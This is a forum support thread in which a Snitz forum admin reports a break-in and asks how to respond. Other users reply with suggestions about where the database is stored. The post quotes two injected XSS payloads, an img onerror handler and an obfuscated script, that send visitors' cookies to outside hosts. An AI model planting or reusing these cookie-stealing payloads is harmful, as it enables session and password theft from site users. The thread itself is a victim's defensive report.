Today, my forum has been hacked. The hacker by some ways access with the admin account (my admin. password up to 10 character!) He deleted entire forums.

After replaced database with backup file, he access again and leave this hidden code in his message:


...
img src=""http://www.laptrinh.f2s.com""onerror=""this.src=src+'/test.pl?test='+escape(document.cookie);"" border=0
...

I guess that test.pl can catch the cookie of users that read his message. Can he do it ? The Snitz program add the password into the cookie, so can this hacker obtain password by this way ?

If it true, what should be the solution ?

Urgent, please !

Where is you DB located, and what is the security on that location.
I used to have those problems (not as severe though) till I moved my DB outside of the www root.
This will be interesting to follow. Security is a big issue with IIS.

I have the database on different drive! Since that hacker obtained the admin password so he can do anything in forum. Here is another hidden code that I found in my forum:

...
script language="JavaScript">var s1="htt"+"p://blake.prohosting.com/newaus/cgi-bin/image.cgi?VietBao=";var st=document.cookie;document.write("<img border=0 width=0 height=0 src=\"",s1,st,"\">");</script
...

The same thing that this guy try to catch cookie of other users! At this time, my temporary solution is replace (or remove) string "document.cookie" in post or reply message in post.asp (search for T_Message or R_Message)

Any opinion from Snitz's developers, please ?

this is pretty serious. my forums were hacked too by someone somehow obtaining the pw to one of the admin accounts.

i don't know the solution to this either.
